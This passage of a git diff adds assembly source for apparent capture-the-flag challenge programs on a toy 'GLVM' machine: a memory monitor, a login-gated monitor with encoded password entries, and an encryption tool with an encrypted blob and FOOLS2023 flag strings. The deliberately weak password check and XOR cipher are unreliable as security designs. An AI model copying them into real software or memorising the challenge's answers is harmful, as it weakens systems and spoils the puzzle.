call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ldrb_r0 mem_e000 + cp_r0 'Y' + jp_eq cmd_exec_go + cp_r0 'y' + jp_eq cmd_exec_go + + # Cancel the call + ld_r2 str_error_cancelled + call PrintStr + pop_r0 + jp main_cmd_loop + +cmd_exec_go: + # Call the function + pop_r3 + call_r3 + jp main_cmd_loop + +cmd_cont: + ld_r2 str_continuing + call PrintStr + + # Restore register state and unpause + ldr_r0 mem_save_r0 + ldr_r1 mem_save_r1 + ldr_r2 mem_save_r2 + ldr_r3 mem_save_r3 + ret + +cmd_list: + ld_r2 str_file_list_header + call PrintStr + + # Read directory + ld_r0 0 + ld_r1 mem_e000 + copr_readblk + + ld_r3 mem_e000 +cmd_list_loop: + ldrb_r0_r3 + cp_r0 0 + jp_eq cmd_list_next + + # Store block + push_r3 + strb_r0 mem_data + inc_r3 + ldr_r0_r3 + + # Store size + push_r3 + str_r0 mem_addr + + # Print block and size + ld_r2 str_file_list_entry + call PrintStr + pop_r3 + + # Print filename + inc_r3 + inc_r3 + ld_r2_r3 + call PrintStr + ld_r0 '\n' + copr_putc + pop_r3 + +cmd_list_next: + add_r3 0x10 + cp_r3 mem_ef00 + jp_ne cmd_list_loop + jp main_cmd_loop + +cmd_undoc: + ld_r2 str_undoc + call PrintStr + jp main_cmd_loop + +cmd_readfile: + ld_r2 str_prompt_filename + call PrintStr + + # Read directory + ld_r0 0 + ld_r1 mem_e000 + copr_readblk + + # Get filename to read + ld_r2 mem_efb0 + ld_r3 0x10 + call ReadStr + cp_r3 0 + jp_eq cmd_readfile_error_too_long + ld_r2 mem_efb0 + call StrTrim + + ld_r3 mem_e000 + 3 +cmd_readfile_loop: + # Check if the filename matches + ld_r2 mem_efb0 + push_r3 + call StrCmp + pop_r3 + cp_r0 0 + jp_eq cmd_readfile_match + + add_r3 0x10 + cp_r3 mem_ef00 + 3 + jp_eq cmd_readfile_error_not_found + jp cmd_readfile_loop + +cmd_readfile_match: + # Read file block + dec_r3 + dec_r3 + dec_r3 + ldrb_r0_r3 + + # Read file size + inc_r3 + ldr_r1_r3 + + # Read file into memory + push_r1 + ld_r1 mem_e000 + copr_readblk + + # Prompt for address to write to + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_efe0 + ld_r3 0x10 + call ReadStr + ld_r2 mem_efe0 + call ConvertHex + pop_r1 + cp_r0 -1 + jp_eq cmd_readfile_error_invalid_input + + # Copy the data + ld_r2_r0 + ld_r3 mem_e000 + call MemCpy + + ld_r2 str_loaded + call PrintStr + jp main_cmd_loop + +cmd_readfile_error_not_found: + ld_r2 str_error_not_found + call PrintStr + jp main_cmd_loop + +cmd_readfile_error_too_long: + ld_r2 str_error_too_long + call PrintStr + jp main_cmd_loop + +cmd_readfile_error_invalid_input: + ld_r2 str_error_invalid_input + call PrintStr + jp main_cmd_loop + +str_intro: + .ascii "======================================================================\n" + .ascii "Welcome to Glitch Research Laboratory Network: Test Server 1 (GRLTS01)\n" + .ascii "======================================================================\n" + .ascii "GRLTS01 is intended for research purposes only, to aid our engineers\n" + .ascii "in migrating their software to the latest GLVM architecture.\n" + .ascii "This server will boot into a machine language monitor, providing\n" + .ascii "a simple environment for development and testing.\n" + .ascii "\n" + .ascii "Note that this server is publicly accessible, and thus, should never\n" + .ascii "be used to store any confidential information. If storage of data is\n" + .ascii "necessary, consider utilizing encryption, or using our dedicated\n" + .ascii "storage servers GRLFS01.\n" + .ascii "Additionally, consider using GRLTS02 for any serious work - it's\n" + .ascii "an authenticated test server, which should be far more secure.\n" + .ascii "======================================================================\n" + .ascii "Running machine language monitor now.\n" + .ascii "======================================================================\n" + .ascii "\n\0" + +str_error_too_long: + .ascii "! Input too long error.\n\0" + +str_error_bad_command: + .ascii "! Bad command error (h for help).\n\0" + +str_error_invalid_input: + .ascii "! Invalid input error.\n\0" + +str_prompt_address: + .ascii "> Which address? \0" + +str_prompt_lines: + .ascii "> How many lines? \0" + +str_prompt_exec: + .ascii "> Really exec at " + text_ram_word mem_addr + .ascii "? Type Y if so: \0" + +str_error_cancelled: + .ascii "! Cancelled action error.\n\0" + +str_continuing: + .ascii "Continuing.\n\0" + +str_loaded: + .ascii "Loaded.\n\0" + +str_dry_stack: + .ascii "! Dry stack. Halting machine.\n\0" + +str_prompt_filename: + .ascii "> Filename? \0" + +str_error_not_found: + .ascii "! File not found error.\n\0" + +str_prompt_hex: + .ascii "> Enter hex data. End with dot \".\" + newline:\n\0" + +str_undoc: + .ascii "Wow, undocumented monitor command! FOOLS2023_{Secret" + text_ram_word 0xe000 + .ascii "x" + text_ram_word 0xe001 + .ascii "Command}\n\0" + +str_help: + .ascii "Available commands:\n" + .ascii "r :: print memory as hex\n" + .ascii "p :: print memory as text\n" + .ascii "w :: write hex data to memory\n" + .ascii "x :: execute memory\n" + .ascii "rf :: load memory from file\n" + .ascii "ls :: print file index\n" + .ascii "h :: print this help message\n" + .ascii "c :: exit monitor and continue\n" + .ascii "Please enter hex numbers when prompted.\n" + .ascii "If necessary for debugging, you can break into monitor\n" + .ascii "with instruction BRK (0x00) and continue with 'c'\n" + .ascii "Note: memory region E000-FFFF is used by monitor\n\0" + +str_file_list_header: + .ascii "BLK SIZE NAME\n" + .ascii "=======================\n\0" + +str_file_list_entry: + text_ram_byte mem_data + .ascii " " + text_ram_word mem_addr + .ascii " \0" # 0xfa97 + +str_ready: + .ascii "Ready.\n" + .ascii "> \0" + +str_breakpoint: + .ascii "*** BREAK INTO MONITOR AT $" + text_ram_word mem_info_pc + .ascii " ***\n" + .ascii "R0=$" + text_ram_word mem_save_r0 + .ascii " R1=$" + text_ram_word mem_save_r1 + .ascii " R2=$" + text_ram_word mem_save_r2 + .ascii " R3=$" + text_ram_word mem_save_r3 + .ascii "\n" + .ascii "SP=$" + text_ram_word mem_info_sp + .ascii " [" + text_ram_byte mem_info_stack + 0 + text_ram_byte mem_info_stack + 1 + text_ram_byte mem_info_stack + 2 + text_ram_byte mem_info_stack + 3 + text_ram_byte mem_info_stack + 4 + text_ram_byte mem_info_stack + 5 + text_ram_byte mem_info_stack + 6 + text_ram_byte mem_info_stack + 7 + text_ram_byte mem_info_stack + 8 + text_ram_byte mem_info_stack + 9 + text_ram_byte mem_info_stack + 10 + text_ram_byte mem_info_stack + 11 + .ascii "]\n\0" + +str_hexdump: + text_ram_word mem_addr + .ascii " | " + text_ram_byte mem_data + 0 + .ascii " " + text_ram_byte mem_data + 1 + .ascii " " + text_ram_byte mem_data + 2 + .ascii " " + text_ram_byte mem_data + 3 + .ascii " " + text_ram_byte mem_data + 4 + .ascii " " + text_ram_byte mem_data + 5 + .ascii " " + text_ram_byte mem_data + 6 + .ascii " " + text_ram_byte mem_data + 7 + .ascii "\n\0" + +mem_save_r0: + .2byte 0 + +mem_save_r1: + .2byte 0 + +mem_save_r2: + .2byte 0 + +mem_save_r3: + .2byte 0 + +mem_info_sp: + .2byte 0 + +mem_info_pc: + .2byte 0 + +mem_info_stack: + .fill 12 + +mem_data: + .fill 8 + +mem_addr: + .2byte 0 + + .fill 0xf00 - (. - _start) +stack: + .fill 0xf0 + +entry: + .fill 0x10 diff --git a/prog/monitor02.asm b/prog/monitor02.asm new file mode 100644 index 0000000..be84729 --- /dev/null +++ b/prog/monitor02.asm @@ -0,0 +1,871 @@ +.include "instr.inc" +.text + +mem_e000: + .2byte 0 + +mem_e002: + .fill 0x0efe + +mem_ef00: + .fill 0xb0 + +mem_efb0: + .fill 0x30 + +mem_efe0: + .fill 0x20 + +.global _start +_start: + ld_sp stack + + # Set up the entrypoint for the breakpoint instruction + ld_r0 entry + ld_r1 0x98 # 'call' + strb_r1_r0 + inc_r0 + ld_r1 main + str_r1_r0 + + # Explain the debugger + ld_r2 str_intro + call PrintStr + +auth_user: + # Gather the username + ld_r2 str_prompt_user + call PrintStr + ld_r3 0x10 + ld_r2 mem_input_user + call ReadStr + + ld_r2 database +auth_user_loop: + # Check if we've reached the end of the database + ldrb_r0_r2 + cp_r0 0 + jp_eq error_incorrect_user + + # Check if the username matches the current entry + ld_r3 mem_input_user + push_r2 + call StrCmp + pop_r2 + cp_r0 0 + jp_eq auth_pass + + # Next entry + add_r2 0x50 + jp auth_user_loop + +auth_pass: + # Grab the password field + add_r2 0x10 + push_r2 + call delay_input + + # Gather the password + ld_r2 str_prompt_pass + call PrintStr + ld_r3 0x30 + ld_r2 mem_input_pass + call ReadStr + call delay_input + + # Load the ENCTABLE.BIN file + ld_r0 1 + ld_r1 0xc000 + copr_readblk + + # r2 = encoded pass + # r3 = input pass + pop_r2 + ld_r3 mem_input_pass +auth_pass_loop: + push_r3 + + # b = *(0xc000 + *input) + ld_r1 0xc000 + ldrb_r0_r3 + add_r1_r0 + ld_r3 0 + ldrb_r0_r1 + add_r3_r0 + + # b += *(0xc100 + *input) + add_r1 0x100 + ldrb_r0_r1 + add_r3_r0 + + # b += *(0xc200 + *input) + add_r1 0x100 + ldrb_r0_r1 + add_r3_r0 + + # b += *(0xc300 + *input) + add_r1 0x100 + ldrb_r0_r1 + add_r3_r0 + + # b &= 0xff + ld_r0_r3 + and_r0 0xff + + ldrb_r1_r2 + cp_r0_r1 + jp_ne error_incorrect_pass + pop_r3 + + call rotate_enctable + inc_r2 + inc_r3 + ldrb_r0_r2 + cp_r0 0 + jp_eq auth_success + jp auth_pass_loop + +auth_success: + ld_r2 str_login_success + call PrintStr + + # Execute the breakpoint, jump to main + brk + + # If breakpoint returns here, we've ran out of stack + ld_r2 str_dry_stack + call PrintStr + copr_halt +die: + jp die + +error_incorrect_user: + call delay_input + ld_r2 str_incorrect_user + call PrintStr + jp auth_user + +error_incorrect_pass: + ld_r2 str_incorrect_pass + call PrintStr + jp auth_user + +rotate_enctable: + ldrb_r0 0xc000 + strb_r0 rotate_enctable_temp + 0 + ldrb_r0 0xc100 + strb_r0 rotate_enctable_temp + 1 + ldrb_r0 0xc200 + strb_r0 rotate_enctable_temp + 2 + ldrb_r0 0xc300 + strb_r0 rotate_enctable_temp + 3 + ld_r1 0xc000 + +rotate_enctable_loop: + inc_r1 + ldrb_r0_r1 + dec_r1 + strb_r0_r1 + inc_r1 + cp_r1 0xc3ff + jp_ne rotate_enctable_loop + + ldrb_r0 rotate_enctable_temp + 0 + strb_r0 0xc0ff + ldrb_r0 rotate_enctable_temp + 1 + strb_r0 0xc1ff + ldrb_r0 rotate_enctable_temp + 2 + strb_r0 0xc2ff + ldrb_r0 rotate_enctable_temp + 3 + strb_r0 0xc3ff + ret + +rotate_enctable_temp: + .fill 4 + +delay_input: + push_r2 + ld_r2 str_please_wait + call PrintStr + pop_r2 + + ld_r0 0x3fff +delay_input_loop: + nop + nop + nop + nop + nop + nop + nop + dec_r0 + cp_r0 0 + jp_ne delay_input_loop + ret + +database: + .fill 0x00 - (. - database) + .ascii "ax.arwen\0" + .fill 0x10 - (. - database) + .byte 0xc6, 0x44, 0x99, 0xe3, 0xe9, 0x19, 0x0d, 0x07, 0x0d, 0x12, 0x79 + + .fill 0x50 - (. - database) + .ascii "sbw.shadow\0" + .fill 0x60 - (. - database) + .byte 0xe9, 0x22, 0xd8, 0x7c, 0x3c, 0x07, 0x54, 0x2d + .byte 0x5e, 0x53, 0x6a, 0xff, 0x80, 0x5e, 0xcd, 0xc8 + .byte 0xcf, 0xff, 0x44, 0x74, 0xc8, 0xd8, 0x4b + + .fill 0xbd - (. - database) + +mem_input_user: + .ascii "________________\0" + +mem_input_pass: + .ascii "________________________________________________________________\0" + +str_prompt_user: + .ascii "Username: \0" + +str_prompt_pass: + .ascii ">> Username OK. Password required\n" + .ascii "Password: \0" + +str_please_wait: + .ascii ">> Please wait...\n\0" + +str_incorrect_user: + .ascii ">> User not found in database.\n\0" + +str_incorrect_pass: + .ascii ">> Password is incorrect.\n\0" + +str_login_success: + .ascii ">> Login successful.\n" + .ascii "======================================================================\n" + .ascii "Running machine language monitor now.\n" + .ascii "======================================================================\n" + .ascii "\n\0" + +main: + # Save all the registers + push_sp + str_r0 mem_save_r0 + str_r1 mem_save_r1 + str_r2 mem_save_r2 + str_r3 mem_save_r3 + + # Store the stack pointer + pop_r0 + str_r0 mem_info_sp + + # Read the return address + ld_r0_sp + ldr_r0_r0 + add_r0 -1 + str_r0 mem_info_pc + + # Read some more stack values + ld_r1 (6 * 2) + ld_r2 mem_info_stack + ldr_r3 mem_info_sp + call MemCpy + + # Print the processor state + ld_r2 str_breakpoint + call PrintStr + +main_cmd_loop: + ld_r0 0 + strb_r0 mem_e002 + + ld_r2 str_ready + call PrintStr + + # Read input + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + cp_r3 0 + jp_eq error_too_long + ld_r2 mem_e000 + call StrTrim + + # Make sure the input is at most 2 characters + ldrb_r0 mem_e002 + cp_r0 0 + jp_ne error_bad_command + + # Parse all the commands + ldr_r0 mem_e000 + + cp_r0 ('h' + '\n' * 0x100) + jp_eq cmd_help + cp_r0 'h' + jp_eq cmd_help + + cp_r0 'r' + jp_eq cmd_read + cp_r0 ('r' + '\n' * 0x100) + jp_eq cmd_read + + cp_r0 'p' + jp_eq cmd_print + cp_r0 ('p' + '\n' * 0x100) + jp_eq cmd_print + + cp_r0 'x' + jp_eq cmd_exec + cp_r0 ('x' + '\n' * 0x100) + jp_eq cmd_exec + + cp_r0 'c' + jp_eq cmd_cont + cp_r0 ('c' + '\n' * 0x100) + jp_eq cmd_cont + + cp_r0 ('U' + 'C' * 0x100) + jp_eq cmd_undoc + + cp_r0 ('l' + 's' * 0x100) + jp_eq cmd_list + + cp_r0 ('r' + 'f' * 0x100) + jp_eq cmd_readfile + + cp_r0 'w' + jp_eq cmd_write + cp_r0 ('w' + '\n' * 0x100) + jp_eq cmd_write + +error_bad_command: + ld_r2 str_error_bad_command + call PrintStr + jp main_cmd_loop + +error_too_long: + ld_r2 str_error_too_long + call PrintStr + jp main_cmd_loop + +cmd_help: + ld_r2 str_help + call PrintStr + jp main_cmd_loop + +cmd_read: + # Get the address to read + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + cp_r0 -1 + jp_eq cmd_read_invalid + push_r0 + + # Get the amount of lines to read + ld_r2 str_prompt_lines + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + cp_r0 -1 + jp_eq cmd_read_invalid + cp_r0 0 + jp_eq cmd_read_invalid + + # r2 = address, r3 = lines + ld_r3_r0 + pop_r2 + +cmd_read_loop: + # Read 8 bytes + push_r2 + push_r3 + ld_r1 8 + ld_r3_r2 + ld_r2 mem_data + call MemCpy + pop_r3 + pop_r2 + + # Store the current read address + str_r2 mem_addr + + # Write it out + push_r2 + push_r3 + ld_r2 str_hexdump + call PrintStr + pop_r3 + pop_r2 + + # Check if we're done + add_r2 8 + dec_r3 + cp_r3 0 + jp_ne cmd_read_loop + jp main_cmd_loop + +cmd_read_invalid: + ld_r2 str_error_invalid_input + call PrintStr + jp main_cmd_loop + +cmd_write: + # Get the address to write + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + cp_r0 -1 + jp_eq cmd_write_invalid + str_r0 mem_addr + + ld_r2 str_prompt_hex + call PrintStr + +cmd_write_loop: + # Clear the buffer + ld_r3 mem_e000 + 2 + ld_r0 0 + strb_r0_r3 + dec_r3 + strb_r0_r3 + dec_r3 + +cmd_write_loop_first: + # Get the first nybble + copr_getc + strb_r0_r3 + ld_r2_r3 + + # Check if it's the end or invalid + cp_r0 '.' + jp_eq cmd_write_end + cp_r0 '\n' + jp_eq cmd_write_loop_first + + # Try to convert the nybble + push_r3 + call ConvertHex + pop_r3 + cp_r0 -1 + jp_eq cmd_write_loop_first + + inc_r3 + +cmd_write_loop_second: + # Get the second nybble + copr_getc + strb_r0_r3 + ld_r2_r3 + + # Check if it's the end or invalid + cp_r0 '.' + jp_eq cmd_write_end + cp_r0 '\n' + jp_eq cmd_write_loop_second + + # Try to convert the nybble + push_r3 + call ConvertHex + pop_r3 + cp_r0 -1 + jp_eq cmd_write_loop_second + + # Convert and store the full byte + dec_r3 + ld_r2_r3 + call ConvertHex + ldr_r1 mem_addr + strb_r0_r1 + inc_r1 + str_r1 mem_addr + jp cmd_write_loop # 0xf1d0 + +cmd_write_end: + # Read until newline + copr_getc + cp_r0 '\n' + jp_ne cmd_write_end + + ld_r2 str_loaded + call PrintStr + jp main_cmd_loop + +cmd_write_invalid: + ld_r2 str_error_invalid_input + call PrintStr + jp main_cmd_loop + +cmd_print: + # Get the string to print + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + + ld_r2_r0 + call PrintStr + jp main_cmd_loop + +cmd_exec: + # Get the address to execute + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ld_r2 mem_e000 + call ConvertHex + + # Prompt the user to execute the address + push_r0 + str_r0 mem_addr + ld_r2 str_prompt_exec + call PrintStr + ld_r2 mem_e000 + ld_r3 8 + call ReadStr + ldrb_r0 mem_e000 + cp_r0 'Y' + jp_eq cmd_exec_go + cp_r0 'y' + jp_eq cmd_exec_go + + # Cancel the call + ld_r2 str_error_cancelled + call PrintStr + pop_r0 + jp main_cmd_loop + +cmd_exec_go: + # Call the function + pop_r3 + call_r3 + jp main_cmd_loop + +cmd_cont: + ld_r2 str_continuing + call PrintStr + + # Restore register state and unpause + ldr_r0 mem_save_r0 + ldr_r1 mem_save_r1 + ldr_r2 mem_save_r2 + ldr_r3 mem_save_r3 + ret + +cmd_list: + ld_r2 str_file_list_header + call PrintStr + + # Read directory + ld_r0 0 + ld_r1 mem_e000 + copr_readblk + + ld_r3 mem_e000 +cmd_list_loop: + ldrb_r0_r3 + cp_r0 0 + jp_eq cmd_list_next + + # Store block + push_r3 + strb_r0 mem_data + inc_r3 + ldr_r0_r3 + + # Store size + push_r3 + str_r0 mem_addr + + # Print block and size + ld_r2 str_file_list_entry + call PrintStr + pop_r3 + + # Print filename + inc_r3 + inc_r3 + ld_r2_r3 + call PrintStr + ld_r0 '\n' + copr_putc + pop_r3 + +cmd_list_next: + add_r3 0x10 + cp_r3 mem_ef00 + jp_ne cmd_list_loop + jp main_cmd_loop + +cmd_undoc: + ld_r2 str_undoc + call PrintStr + jp main_cmd_loop + +cmd_readfile: + ld_r2 str_prompt_filename + call PrintStr + + # Read directory + ld_r0 0 + ld_r1 mem_e000 + copr_readblk + + # Get filename to read + ld_r2 mem_efb0 + ld_r3 0x10 + call ReadStr + cp_r3 0 + jp_eq cmd_readfile_error_too_long + ld_r2 mem_efb0 + call StrTrim + + ld_r3 mem_e000 + 3 +cmd_readfile_loop: + # Check if the filename matches + ld_r2 mem_efb0 + push_r3 + call StrCmp + pop_r3 + cp_r0 0 + jp_eq cmd_readfile_match + + add_r3 0x10 + cp_r3 mem_ef00 + 3 + jp_eq cmd_readfile_error_not_found + jp cmd_readfile_loop + +cmd_readfile_match: + # Read file block + dec_r3 + dec_r3 + dec_r3 + ldrb_r0_r3 + + # Read file size + inc_r3 + ldr_r1_r3 + + # Read file into memory + push_r1 + ld_r1 mem_e000 + copr_readblk + + # Prompt for address to write to + ld_r2 str_prompt_address + call PrintStr + ld_r2 mem_efe0 + ld_r3 0x10 + call ReadStr + ld_r2 mem_efe0 + call ConvertHex + pop_r1 + cp_r0 -1 + jp_eq cmd_readfile_error_invalid_input + + # Copy the data + ld_r2_r0 + ld_r3 mem_e000 + call MemCpy + + ld_r2 str_loaded + call PrintStr + jp main_cmd_loop + +cmd_readfile_error_not_found: + ld_r2 str_error_not_found + call PrintStr + jp main_cmd_loop + +cmd_readfile_error_too_long: + ld_r2 str_error_too_long + call PrintStr + jp main_cmd_loop + +cmd_readfile_error_invalid_input: + ld_r2 str_error_invalid_input + call PrintStr + jp main_cmd_loop + +str_intro: + .ascii "======================================================================\r\n" + .ascii "Welcome to Glitch Research Laboratory Network: Test Server 2 (GRLTS02)\r\n" + .ascii "======================================================================\r\n" + .ascii "This machine requires authentication.\r\n\0" + +str_error_too_long: + .ascii "! Input too long error.\n\0" + +str_error_bad_command: + .ascii "! Bad command error (h for help).\n\0" + +str_error_invalid_input: + .ascii "! Invalid input error.\n\0" + +str_prompt_address: + .ascii "> Which address? \0" + +str_prompt_lines: + .ascii "> How many lines? \0" + +str_prompt_exec: + .ascii "> Really exec at " + text_ram_word mem_addr + .ascii "? Type Y if so: \0" + +str_error_cancelled: + .ascii "! Cancelled action error.\n\0" + +str_continuing: + .ascii "Continuing.\n\0" + +str_loaded: + .ascii "Loaded.\n\0" + +str_dry_stack: + .ascii "! Dry stack. Halting machine.\n\0" + +str_prompt_filename: + .ascii "> Filename? \0" + +str_error_not_found: + .ascii "! File not found error.\n\0" + +str_prompt_hex: + .ascii "> Enter hex data. End with dot \".\" + newline:\n\0" + +str_undoc: + .ascii "Wow, undocumented monitor command! FOOLS2023_{Secret" + text_ram_word 0xe000 + .ascii "x" + text_ram_word 0xe001 + .ascii "Command}\n\0" + +str_help: + .ascii "Available commands:\n" + .ascii "r :: print memory as hex\n" + .ascii "p :: print memory as text\n" + .ascii "w :: write hex data to memory\n" + .ascii "x :: execute memory\n" + .ascii "rf :: load memory from file\n" + .ascii "ls :: print file index\n" + .ascii "h :: print this help message\n" + .ascii "c :: exit monitor and continue\n" + .ascii "Please enter hex numbers when prompted.\n" + .ascii "If necessary for debugging, you can break into monitor\n" + .ascii "with instruction BRK (0x00) and continue with 'c'\n" + .ascii "Note: memory region E000-FFFF is used by monitor\n\0" + +str_file_list_header: + .ascii "BLK SIZE NAME\n" + .ascii "=======================\n\0" + +str_file_list_entry: + text_ram_byte mem_data + .ascii " " + text_ram_word mem_addr + .ascii " \0" # 0xfa97 + +str_ready: + .ascii "Ready.\n" + .ascii "> \0" + +str_breakpoint: + .ascii "*** BREAK INTO MONITOR AT $" + text_ram_word mem_info_pc + .ascii " ***\n" + .ascii "R0=$" + text_ram_word mem_save_r0 + .ascii " R1=$" + text_ram_word mem_save_r1 + .ascii " R2=$" + text_ram_word mem_save_r2 + .ascii " R3=$" + text_ram_word mem_save_r3 + .ascii "\n" + .ascii "SP=$" + text_ram_word mem_info_sp + .ascii " [" + text_ram_byte mem_info_stack + 0 + text_ram_byte mem_info_stack + 1 + text_ram_byte mem_info_stack + 2 + text_ram_byte mem_info_stack + 3 + text_ram_byte mem_info_stack + 4 + text_ram_byte mem_info_stack + 5 + text_ram_byte mem_info_stack + 6 + text_ram_byte mem_info_stack + 7 + text_ram_byte mem_info_stack + 8 + text_ram_byte mem_info_stack + 9 + text_ram_byte mem_info_stack + 10 + text_ram_byte mem_info_stack + 11 + .ascii "]\n\0" + +str_hexdump: + text_ram_word mem_addr + .ascii " | " + text_ram_byte mem_data + 0 + .ascii " " + text_ram_byte mem_data + 1 + .ascii " " + text_ram_byte mem_data + 2 + .ascii " " + text_ram_byte mem_data + 3 + .ascii " " + text_ram_byte mem_data + 4 + .ascii " " + text_ram_byte mem_data + 5 + .ascii " " + text_ram_byte mem_data + 6 + .ascii " " + text_ram_byte mem_data + 7 + .ascii "\n\0" + +mem_save_r0: + .2byte 0 + +mem_save_r1: + .2byte 0 + +mem_save_r2: + .2byte 0 + +mem_save_r3: + .2byte 0 + +mem_info_sp: + .2byte 0 + +mem_info_pc: + .2byte 0 + +mem_info_stack: + .fill 12 + +mem_data: + .fill 8 + +mem_addr: + .2byte 0 + + .fill 0xf00 - (. - _start) +stack: + .fill 0xf0 + +entry: + .fill 0x10 diff --git a/prog/report03.asm b/prog/report03.asm new file mode 100644 index 0000000..3cd99e7 --- /dev/null +++ b/prog/report03.asm @@ -0,0 +1,190 @@ +.include "instr.inc" +.text + +.global _start +_start: + # Get the address of the start of the program + push_pc + pop_r3 + + # Display the introduction + ld_r2_r3 + add_r2 (str_intro - _start) + push_r3 + call PrintStr + pop_r3 + + # Bail if we're not running from the correct address + cp_r3 _start + jp_eq main + ld_r2_r3 + add_r2 (str_wrong_address - _start) + jp PrintStr + +main: + # Gather the password string + ld_r2 mem_input + ld_r1 18 + ld_r0 0 + call MemSet + ld_r2 str_password_prompt + call PrintStr + ld_r2 mem_input + ld_r3 15 + call ReadStr + ld_r2 mem_input + call StrTrim + + # Hash the string + ld_r2 mem_input + ld_r0 0x9fc0 + +hash_loop: + ldr_r1_r2 + inc_r2 + cp_r1 0 + + # r0 = (((r0 * 2) ^ r1) * 2) + r1 + shl_r0 + xor_r0_r1 + shl_r0 + add_r0_r1 + + jp_eq decrypt + jp hash_loop + +decrypt: + # Initialize memory + str_r0 mem_hash + ld_r3 mem_encrypted + ld_r2 mem_decrypted + ld_r1 0x200 + call MemCpy + + # Decrypt the entire buffer + ld_r2 mem_decrypted + ld_r3 0x200 / 2 + +decrypt_loop: + call update_hash + + # *r2 -= mem_hash + ld_r1_r0 + ldr_r0_r2 + xor_r0_r1 + str_r0_r2 + + inc_r2 + inc_r2 + dec_r3 + cp_r3 0 + jp_ne decrypt_loop + + # Print out the results + ld_r2 str_result_start + call PrintStr + ld_r2 mem_decrypted + call PrintStr + ld_r2 str_result_end + call PrintStr + ret + +update_hash: + # mem_hash = (mem_hash * 0x41a7) ^ 0x5555 + ldr_r0 mem_hash + mul_r0 0x41a7 + xor_r0 0x5555 + str_r0 mem_hash + ret + +str_intro: + .ascii "GLITCH RESEARCH LABORATORY SELF-CONTAINED ENCRYPTION TOOL\n\0" + +str_wrong_address: + .ascii "PLEASE LOAD ME AT ADDRESS $2000... (EXITING)\n\0" + +str_password_prompt: + .ascii "PLEASE ENTER ENCRYPTION PASSWORD: \0" + +str_result_start: + .ascii "HERE IS THE ENCRYPTED DOCUMENT: " +str_result_end: + .ascii "\n--\n\0" + +mem_input: + .ascii "________________\0\0" + +mem_hash: + .ascii "__" + + # Padding + .ascii "33333333" + +mem_encrypted: + .byte 0xfb, 0x72, 0x3a, 0x22, 0x21, 0x4b, 0x6a, 0xc2 + .byte 0x28, 0xe6, 0xe4, 0xc1, 0xa7, 0x25, 0xb6, 0xe0 + .byte 0x98, 0xb2, 0x0a, 0xe0, 0x9b, 0xab, 0xc1, 0x84 + .byte 0xb8, 0x2d, 0x8f, 0xd8, 0x7e, 0x07, 0x3a, 0xcb + .byte 0xc9, 0xf0, 0xf5, 0x38, 0x51, 0x43, 0xed, 0x52 + .byte 0xf8, 0x44, 0xe4, 0xc2, 0x50, 0x22, 0x27, 0x2a + .byte 0x65, 0x44, 0x81, 0x79, 0xc2, 0x6c, 0xb4, 0xaf + .byte 0xd9, 0x9d, 0x7c, 0x74, 0xb3, 0x58, 0xea, 0xcd + .byte 0x69, 0xe2, 0xa2, 0xdf, 0xe7, 0xca, 0xc4, 0x65 + .byte 0xe0, 0xe8, 0xf3, 0xbe, 0xee, 0x97, 0x68, 0xad + .byte 0x61, 0x0e, 0x27, 0x78, 0x32, 0x86, 0x6d, 0x5c + .byte 0x02, 0xc2, 0x6e, 0xd1, 0xdf, 0x93, 0x14, 0x4d + .byte 0xcb, 0x1a, 0x90, 0xf4, 0x20, 0x95, 0xc0, 0xd3 + .byte 0x1d, 0xe8, 0x73, 0x2b, 0xdb, 0xaf, 0xae, 0x74 + .byte 0x7a, 0x1d, 0x50, 0x4a, 0xa6, 0x9d, 0x56, 0xcc + .byte 0xb5, 0x5d, 0x07, 0xd1, 0x04, 0xa7, 0x16, 0x5c + .byte 0x1d, 0x40, 0x4e, 0x65, 0x51, 0xf2, 0x68, 0x0a + .byte 0x4a, 0xb3, 0x56, 0x56, 0xc1, 0x51, 0x1f, 0x0f + .byte 0xc2, 0x7d, 0x4b, 0x29, 0x5b, 0x58, 0x1d, 0x2f + .byte 0xff, 0x66, 0xc0, 0x3c, 0xbb, 0xbb, 0x34, 0x93 + .byte 0x30, 0xe6, 0x34, 0xb7, 0x8d, 0xd4, 0x4a, 0xa3 + .byte 0xd7, 0x88, 0x00, 0x72, 0xba, 0x13, 0x0c, 0x4d + .byte 0x97, 0x46, 0xe0, 0xbb, 0x07, 0xa6, 0xef, 0xfa + .byte 0x12, 0x0a, 0xfe, 0x56, 0xe9, 0x14, 0x2b, 0xda + .byte 0x64, 0x3c, 0xfe, 0xc5, 0x3c, 0xa3, 0x50, 0x02 + .byte 0x20, 0xb7, 0x20, 0x05, 0x3d, 0xdb, 0xf1, 0x8a + .byte 0x81, 0x41, 0x4c, 0x24, 0x52, 0x38, 0x8f, 0xb9 + .byte 0x7e, 0x2e, 0x6f, 0x76, 0x1c, 0x3f, 0x97, 0x87 + .byte 0x16, 0xd5, 0xd3, 0xc9, 0x70, 0x92, 0xd7, 0xd2 + .byte 0x47, 0x59, 0xe6, 0x87, 0x12, 0x2c, 0xe0, 0xa5 + .byte 0x6c, 0x17, 0x9c, 0xbe, 0xee, 0xe4, 0xd4, 0x50 + .byte 0xea, 0x94, 0x57, 0x91, 0x4f, 0xb1, 0x57, 0xaa + .byte 0x46, 0xe9, 0x86, 0x76, 0xd3, 0xf8, 0xb9, 0xa5 + .byte 0x8c, 0x9c, 0x57, 0x56, 0x0a, 0x72, 0x48, 0xc8 + .byte 0x14, 0xb6, 0x8b, 0xf2, 0x48, 0x3c, 0x4d, 0xb5 + .byte 0x3a, 0x48, 0x07, 0xa6, 0xf2, 0x8e, 0xa3, 0x0b + .byte 0x39, 0x02, 0x75, 0x9b, 0xc8, 0xdc, 0x6f, 0x0a + .byte 0x75, 0x00, 0x52, 0x6d, 0xbf, 0x77, 0x89, 0x2f + .byte 0xce, 0xb0, 0x27, 0xef, 0x42, 0x1e, 0x36, 0xe1 + 